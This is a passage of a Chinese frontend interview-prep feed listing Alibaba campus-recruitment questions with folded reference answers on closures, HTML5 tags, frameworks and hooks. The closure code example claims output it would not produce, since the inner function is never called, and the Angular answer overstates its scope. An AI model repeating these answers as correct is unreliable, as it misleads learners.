&lt;li&gt;计算比例：每个项目的比例为&lt;code&gt;flex-grow&lt;/code&gt;或&lt;code&gt;flex-shrink&lt;/code&gt;值除以所有项目对应值之和。&lt;/li&gt;
&lt;li&gt;分配空间：按比例将剩余空间分配或从项目中扣除。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flex&lt;/code&gt;属性：&lt;code&gt;flex&lt;/code&gt;是&lt;code&gt;flex-grow&lt;/code&gt;、&lt;code&gt;flex-shrink&lt;/code&gt;和&lt;code&gt;flex-basis&lt;/code&gt;的简写形式。例如，&lt;code&gt;flex: 1 1 0&lt;/code&gt;表示&lt;code&gt;flex-grow: 1&lt;/code&gt;、&lt;code&gt;flex-shrink: 1&lt;/code&gt;、&lt;code&gt;flex-basis: 0&lt;/code&gt;。这在等比例分配剩余空间时非常有用。&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-e9bcc1f4-1b0a-4213-9d3a-8e64c97c7848"&gt;2. 讲一下js闭包&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/e9bcc1f4-1b0a-4213-9d3a-8e64c97c7848"&gt;说说你对闭包的理解，以及闭包使用场景&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;h1 id="什么是闭包"&gt;什么是闭包&lt;/h1&gt;
&lt;p&gt;简单理解就是函数中嵌套函数。我们都知道局部变量我们是无法访问的，但是通过闭包可以做到。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 正常访问
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lan&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;zh&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hello&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;前端未来&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;)&lt;span style="color:#75715e"&gt;//很明显&amp;#39;undefined&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 换成闭包
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hello&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;前端未来&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;demo&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;)&lt;span style="color:#75715e"&gt;//打印：前端未来
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="闭包的应用场景"&gt;闭包的应用场景&lt;/h1&gt;
&lt;h2 id="1-数据封装和隐私"&gt;1. 数据封装和隐私&lt;/h2&gt;
&lt;p&gt;闭包可以用来封装数据和功能，创建具有私有变量和公共接口的模块。&lt;/p&gt;
&lt;h3 id="应用"&gt;应用&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;创建具有私有状态的模块或对象。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-函数工厂"&gt;2. 函数工厂&lt;/h2&gt;
&lt;p&gt;闭包用于创建返回函数的函数，这些返回的函数可以维持状态。&lt;/p&gt;</description></item><item><title>阿里-国际电商-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-32/round-38/</link><pubDate>Fri, 27 Jun 2025 06:02:07 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-32/round-38/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-32/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-32/round-39/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的基础内容&lt;/p&gt;
&lt;p&gt;本轮共 19 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-5605b7f269f9"&gt;1. 讲一下你的技术栈，为什么要学前端，如何学习前端的？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;技术栈、学习动机与方法。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;ol&gt;
&lt;li&gt;技术栈：
&lt;ol&gt;
&lt;li&gt;HTML/CSS：用于构建页面结构和样式。&lt;/li&gt;
&lt;li&gt;JavaScript：包括ES6+特性，用于实现页面交互。&lt;/li&gt;
&lt;li&gt;框架：熟练使用Vue.js和React，了解其生态系统（如Vue Router、Vuex、React Router、Redux）。&lt;/li&gt;
&lt;li&gt;构建工具：使用Vite和Webpack进行项目构建和优化。&lt;/li&gt;
&lt;li&gt;状态管理：使用Vuex和Redux进行状态管理。&lt;/li&gt;
&lt;li&gt;UI组件库：使用Element UI、Ant Design等。&lt;/li&gt;
&lt;li&gt;其他工具：Git、ESLint、Prettier、Jest等。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;学习动机：
&lt;ol&gt;
&lt;li&gt;前端开发结合了技术和创意，能够直接看到代码转化为用户界面，带来了即时满足感。&lt;/li&gt;
&lt;li&gt;前端领域技术更新快，充满挑战，提供了不断学习新知识的机会。&lt;/li&gt;
&lt;li&gt;对用户界面和交互设计的兴趣，希望创造良好的用户体验。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;学习方法：
&lt;ol&gt;
&lt;li&gt;在线课程：通过Coursera、Udemy、MDN Web Docs等平台学习基础知识。&lt;/li&gt;
&lt;li&gt;实践项目：通过个人项目和开源项目应用所学知识。&lt;/li&gt;
&lt;li&gt;阅读书籍：如《JavaScript高级程序设计》、《你不知道的JavaScript》。&lt;/li&gt;
&lt;li&gt;参与社区：在GitHub、Stack Overflow等社区与开发者交流，解决遇到的问题。&lt;/li&gt;
&lt;li&gt;技术博客：关注CSS-Tricks、JavaScript.info等博客，了解新技术和最佳实践。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-ae93b62f-d9ef-46c2-8151-da164426f49f"&gt;2. 常见的H5标签有哪些 ，你是怎么用的&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/ae93b62f-d9ef-46c2-8151-da164426f49f"&gt;常见的H5标签有哪些 ，你是怎么用的&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;常见 H5 标签包括结构语义标签、文本语义标签、表单标签和媒体标签；实际使用中优先考虑语义表达和可访问性，而非样式；充分利用表单和媒体标签的原生能力以减少 JS 复杂度；&lt;code&gt;canvas&lt;/code&gt; 与 &lt;code&gt;svg&lt;/code&gt; 需根据场景选择；合理使用语义化标签能显著提升页面质量和长期可维护性。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在实际工程中，H5 标签并不是“记住有哪些”，而是&lt;strong&gt;是否理解它们在语义、结构、可访问性和默认行为上的差异，并能在合适的场景中使用&lt;/strong&gt;。对标签的理解，直接影响页面结构质量、SEO 以及后续的可维护性。&lt;/p&gt;
&lt;p&gt;从结构层面看，最常用的一类是&lt;strong&gt;语义化结构标签&lt;/strong&gt;。例如 &lt;code&gt;header&lt;/code&gt;、&lt;code&gt;nav&lt;/code&gt;、&lt;code&gt;main&lt;/code&gt;、&lt;code&gt;section&lt;/code&gt;、&lt;code&gt;article&lt;/code&gt;、&lt;code&gt;aside&lt;/code&gt;、&lt;code&gt;footer&lt;/code&gt;。在页面搭建时，通常会用 &lt;code&gt;header&lt;/code&gt; 承载页面或模块级头部信息，用 &lt;code&gt;nav&lt;/code&gt; 明确标识导航区域，用 &lt;code&gt;main&lt;/code&gt; 作为页面主体的唯一入口，再用 &lt;code&gt;section&lt;/code&gt; 或 &lt;code&gt;article&lt;/code&gt; 对内容进行分块。这类标签本身不改变样式，但会向浏览器、搜索引擎和辅助技术清晰表达“这块内容的角色是什么”，比单纯使用 &lt;code&gt;div&lt;/code&gt; 更具表达力。&lt;/p&gt;</description></item><item><title>阿里-国际电商-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-32/round-39/</link><pubDate>Fri, 27 Jun 2025 06:02:07 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-32/round-39/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-32/round-38/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-32/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的基础内容&lt;/p&gt;
&lt;p&gt;本轮共 9 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-52145ae489ef"&gt;1. React/Vue/Angular框架熟悉哪个？对比一下&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;前端框架。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我对React和Vue较为熟悉，以下是对这三大框架的对比：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;React：
&lt;ol&gt;
&lt;li&gt;优点：
&lt;ol&gt;
&lt;li&gt;组件化：React采用组件化开发，将复杂的用户界面拆分为多个可复用的组件，提高代码的可维护性和复用性。&lt;/li&gt;
&lt;li&gt;虚拟DOM：使用虚拟DOM优化DOM操作，减少页面重绘和回流，提升性能。&lt;/li&gt;
&lt;li&gt;生态丰富：拥有庞大的生态系统，如Redux、React Router等，可满足各种复杂的开发需求。&lt;/li&gt;
&lt;li&gt;社区活跃：社区庞大，更新迅速，遇到问题时容易找到解决方案。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;缺点：
&lt;ol&gt;
&lt;li&gt;学习曲线：对初学者来说，需要学习JSX语法和组件化的思想，有一定学习成本。&lt;/li&gt;
&lt;li&gt;配置繁琐：项目搭建和配置相对复杂，需要手动配置Webpack等构建工具。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Vue：
&lt;ol&gt;
&lt;li&gt;优点：
&lt;ol&gt;
&lt;li&gt;易上手：语法简洁，文档清晰，容易上手，适合初学者快速入门。&lt;/li&gt;
&lt;li&gt;渐进式框架：可以逐步引入Vue，与现有项目或其他技术结合使用，灵活性高。&lt;/li&gt;
&lt;li&gt;模板语法：使用HTML模板，对熟悉HTML和JavaScript的开发者更友好。&lt;/li&gt;
&lt;li&gt;性能优化：也采用虚拟DOM，性能表现良好。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;缺点：
&lt;ol&gt;
&lt;li&gt;生态不够丰富：相较于React，生态和社区稍小，插件和库的选择相对有限。&lt;/li&gt;
&lt;li&gt;大型项目支持：在处理大型复杂项目时，可能不如React和Angular成熟。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Angular：
&lt;ol&gt;
&lt;li&gt;优点：
&lt;ol&gt;
&lt;li&gt;全栈解决方案：提供从前端到后端的一整套解决方案，包括路由、状态管理、表单处理等。&lt;/li&gt;
&lt;li&gt;强类型系统：基于TypeScript开发，具有强类型检查，有助于大型项目的代码维护和团队协作。&lt;/li&gt;
&lt;li&gt;依赖注入：内置依赖注入系统，方便管理组件和服务之间的依赖关系。&lt;/li&gt;
&lt;li&gt;适合企业级应用：在开发大型企业级应用时，提供了一套完整的架构和规范。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;缺点：
&lt;ol&gt;
&lt;li&gt;学习曲线陡峭：对初学者来说，需要掌握TypeScript、依赖注入、模块化等概念，学习成本较高。&lt;/li&gt;
&lt;li&gt;灵活性较低：框架较为庞大，定制化程度不如React和Vue高，不适合小型项目快速开发。&lt;/li&gt;
&lt;li&gt;社区相对较小：相较于React，社区活跃度和更新速度稍逊一筹。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-f1a76998-d6bd-487e-ae2e-06a045f8e7aa"&gt;2. React Hooks闭包陷阱的产生原因？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/f1a76998-d6bd-487e-ae2e-06a045f8e7aa"&gt;说说你对 React Hook的闭包陷阱的理解，有哪些解决方案？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;React Hook 的闭包陷阱是一个常见的问题,它发生在使用 Hook 时,特别是在处理事件处理函数或异步操作时。&lt;/p&gt;
&lt;p&gt;闭包陷阱的本质是,在 Hook 内部定义的函数会捕获 Hook 函数执行时的状态,而不是最新的状态。这可能会导致一些意想不到的行为,比如事件处理函数无法访问最新的状态,或者异步操作使用了过期的数据。&lt;/p&gt;
&lt;p&gt;造成这个问题的原因是,React Hook 的设计使得组件函数在每次渲染时都会重新定义内部的函数,而这些函数会关闭当时的状态。&lt;/p&gt;
&lt;p&gt;解决这个问题的主要方案有以下几种:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用 useCallback Hook&lt;/strong&gt;:&lt;/p&gt;</description></item><item><title>阿里-灵犀互娱-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-31/round-36/</link><pubDate>Fri, 27 Jun 2025 06:00:30 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-31/round-36/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-31/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-31/round-37/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的基础内容&lt;/p&gt;
&lt;p&gt;本轮共 21 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-745bcd0bd804"&gt;1. 先简单自我介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;自我认知。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;您好，我叫[你的名字]，毕业于[学校名称]的[专业名称]专业。在大学期间，我就对计算机科学产生了浓厚的兴趣，尤其是前端开发领域。在学习和实践中，我积累了扎实的编程基础，熟练掌握了HTML、CSS、JavaScript等前端开发技术，并在多个项目中担任核心开发角色。我热爱前端开发工作，喜欢通过代码创造用户友好的界面和交互体验。在业余时间，我会不断学习新技术，提升自己的专业能力。我希望能够在一个富有创新和挑战的环境中工作，与优秀的团队成员共同成长。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-0758f3ea2c02"&gt;2. 什么时候学前端？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;学习经历。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我是在大学二年级的时候开始接触前端开发的。当时，我选修了一门网页设计与开发的课程，这让我对前端开发产生了浓厚的兴趣。从那时起，我便开始系统地学习HTML、CSS和JavaScript等前端技术，并通过大量的实践项目不断提升自己的技能。毕业后，我继续深入学习前端框架和工具，如Vue、React等，并在实际工作中不断积累经验。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-0ee7770504c2"&gt;3. 怎么学前端？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;学习方法。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;学习前端开发需要系统的学习和不断的实践。首先，我从基础的HTML、CSS和JavaScript开始，通过阅读书籍、在线教程和官方文档，打下了坚实的基础。然后，我深入学习了前端框架，如Vue和React，通过实践项目来理解框架的核心概念和使用方法。同时，我积极参与开源项目和在线社区，与其他开发者交流经验，解决遇到的问题。此外，我还关注前端技术的最新发展趋势，通过参加技术会议、观看在线课程等方式不断更新自己的知识体系。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-9b77d3095037"&gt;4. 你的未来规划？&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;职业规划。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我的短期目标是在前端开发领域持续深耕，提升自己的技术能力和项目经验。我希望能够在当前的岗位上承担更多的责任，参与复杂项目的开发，并不断优化现有系统的性能和用户体验。长期来看，我希望能够成为前端技术专家，带领团队进行技术创新和项目研发。同时，我也希望能够不断提升自己的架构设计能力和团队管理能力，为公司的技术发展做出更大的贡献。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-4a1a8c54feda"&gt;5. 你觉得你什么地方比较强？哪里比较薄弱？&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;自我认知。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我认为我的强项在于对前端技术的深入理解和实践经验。我能够快速学习新技术，并将其应用到实际项目中。同时，我具备良好的问题解决能力和团队协作精神，能够与团队成员高效合作，共同完成项目目标。然而，我也意识到自己在某些方面还有提升的空间。例如，在性能优化和大型项目的架构设计方面，我还需要进一步积累经验。此外，我还需要加强对后端技术的了解，以更好地进行前后端协同开发。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-f6c8f24757b3"&gt;6. 一个前端架构师要有什么长处？&lt;/h2&gt;
&lt;h3 id="题目要点-5"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;职业素养。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;一个优秀的前端架构师需要具备多方面的长处。首先，需要有深厚的技术功底，对前端技术栈有全面而深入的理解，包括HTML、CSS、JavaScript、前端框架、构建工具等。其次，需要具备良好的系统设计和架构能力，能够设计出高性能、可扩展、易维护的前端系统。此外，前端架构师还需要有较强的项目管理能力，能够领导团队进行项目的规划、开发和交付。良好的沟通能力和团队协作精神也是必不可少的，能够与产品、后端团队等进行有效的沟通和协作。最后，前端架构师需要有敏锐的技术洞察力，能够关注行业动态，引入新的技术和方法，推动团队的技术进步。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-0c0db5d1-e09a-4699-911a-3cfa4f4bd765"&gt;7. 微前端是什么？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/0c0db5d1-e09a-4699-911a-3cfa4f4bd765"&gt;什么是微前端？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-6"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;微前端（Micro-Frontends）是一种类似于微服务的架构，它将微服务的理念应用于浏览器端，即将 Web 应用由单一的单体应用转变为多个小型前端应用聚合为一的应用。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;微前端（Micro-Frontends）是一种类似于微服务的架构，它将微服务的理念应用于浏览器端，即将 Web 应用由单一的单体应用转变为多个小型前端应用聚合为一的应用。&lt;/p&gt;
&lt;p&gt;各个前端应用还可以独立运行、独立开发、独立部署。&lt;/p&gt;
&lt;p&gt;微前端不是单纯的前端框架或者工具，而是一套架构体系，&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-1c3850f1-2fdf-46a8-8b6e-ff9a6f1abf08"&gt;8. SPA和MPA的区别？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/1c3850f1-2fdf-46a8-8b6e-ff9a6f1abf08"&gt;SPA和MPA的区别？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-7"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;SPA 通过前端路由在单一 HTML 中完成页面切换，交互流畅但首屏和 SEO 成本较高；MPA 每次导航请求新页面，SEO 友好且隔离性强，但交互体验有限；两者本质差异在于前后端渲染与路由职责的划分；现代项目常通过 SSR、SSG 等方式在两种模式之间折中。&lt;/p&gt;</description></item><item><title>阿里-灵犀互娱-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-31/round-37/</link><pubDate>Fri, 27 Jun 2025 06:00:30 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-31/round-37/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-31/round-36/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-31/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的基础内容&lt;/p&gt;
&lt;p&gt;本轮共 13 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-5fb1a3884b85"&gt;1. 你是什么时候开始学前端的&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;学习经历。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我接触前端开发是在大学二年级的时候。当时，我选修了一门网页设计与开发的课程，这让我对前端开发产生了浓厚的兴趣。从那时起，我便开始系统地学习HTML、CSS和JavaScript等前端技术。我通过阅读书籍、在线教程和官方文档，打下了坚实的基础。同时，我积极参与实践项目，不断提升自己的技能。毕业后，我继续深入学习前端框架和工具，如Vue、React等，并在实际工作中不断积累经验。这段学习经历不仅让我掌握了前端开发的技术，还培养了我对前端开发的热爱和持续学习的态度。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-468b089f1bb3"&gt;2. 为什么选择前端这个方向呢，是如何学习前端的&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;学习动机与方法。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我选择前端开发是因为它结合了技术和创意，能够直接看到自己的代码转化为用户界面，这种即时反馈让我感到非常满足。同时，前端领域技术更新快，充满挑战，能够不断学习新知识。我通过在线课程（如Coursera、Udemy）、官方文档（如MDN Web Docs）和实践项目学习前端。我积极参与开源社区（如GitHub），与其他开发者交流经验，并通过阅读技术博客（如CSS-Tricks、JavaScript.info）保持对新技术的敏感度。这种多渠道的学习方式让我能够全面掌握前端开发的技能，并在实践中不断提升。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-8dcadd663636"&gt;3. 说一下你觉得前端和后端有什么区别&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;前后端理解。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;前端和后端在技术栈、运行环境、关注点等方面有显著区别：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;技术栈：
&lt;ol&gt;
&lt;li&gt;前端：主要使用HTML、CSS、JavaScript及其框架（如Vue、React、Angular）进行开发。例如，使用Vue.js构建用户界面，处理用户交互逻辑。&lt;/li&gt;
&lt;li&gt;后端：使用服务器端语言（如Node.js、Java、Python、Ruby）和框架（如Express、Spring Boot、Django、Rails）开发API、处理业务逻辑和与数据库交互。例如，使用Node.js和Express框架搭建RESTful API服务器。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;运行环境：
&lt;ol&gt;
&lt;li&gt;前端：代码运行在客户端浏览器中，与用户直接交互。前端开发者需要考虑不同浏览器的兼容性和用户体验。&lt;/li&gt;
&lt;li&gt;后端：代码运行在服务器上，处理请求、管理数据和执行业务逻辑。后端开发者关注服务器性能、安全性和可扩展性。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;关注点：
&lt;ol&gt;
&lt;li&gt;前端：注重用户体验、界面设计、响应式布局和性能优化（如页面加载速度、交互流畅性）。前端开发者需要与设计师紧密合作，实现视觉效果和交互功能。&lt;/li&gt;
&lt;li&gt;后端：关注数据存储、业务逻辑实现、API设计和安全性。后端开发者需要与数据库交互，处理并发请求，并确保系统的稳定性和可靠性。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;开发工具：
&lt;ol&gt;
&lt;li&gt;前端：使用VS Code等编辑器，搭配浏览器开发者工具进行调试。依赖构建工具（如Vite、Webpack）进行代码打包和优化。&lt;/li&gt;
&lt;li&gt;后端：使用IntelliJ IDEA、PyCharm等IDE，搭配数据库管理工具（如pgAdmin、MySQL Workbench）进行开发。需要配置服务器环境（如Nginx、Apache）和部署工具（如Docker、Kubernetes）。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;数据处理：
&lt;ol&gt;
&lt;li&gt;前端：主要处理数据的展示和用户输入的收集。通过API从后端获取数据，并将其转换为用户界面。&lt;/li&gt;
&lt;li&gt;后端：负责数据的存储、查询和业务逻辑处理。与数据库（如MySQL、MongoDB）交互，执行复杂的数据操作和事务管理。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;性能优化：
&lt;ol&gt;
&lt;li&gt;前端：优化页面加载时间、减少重绘和回流、提升交互响应速度。例如，通过懒加载、代码分割、图片优化等技术提高性能。&lt;/li&gt;
&lt;li&gt;后端：优化服务器响应时间、数据库查询效率、减少内存泄漏和提升并发处理能力。例如，使用缓存机制（如Redis）、数据库索引优化、连接池管理等技术提高性能。&lt;/li&gt;
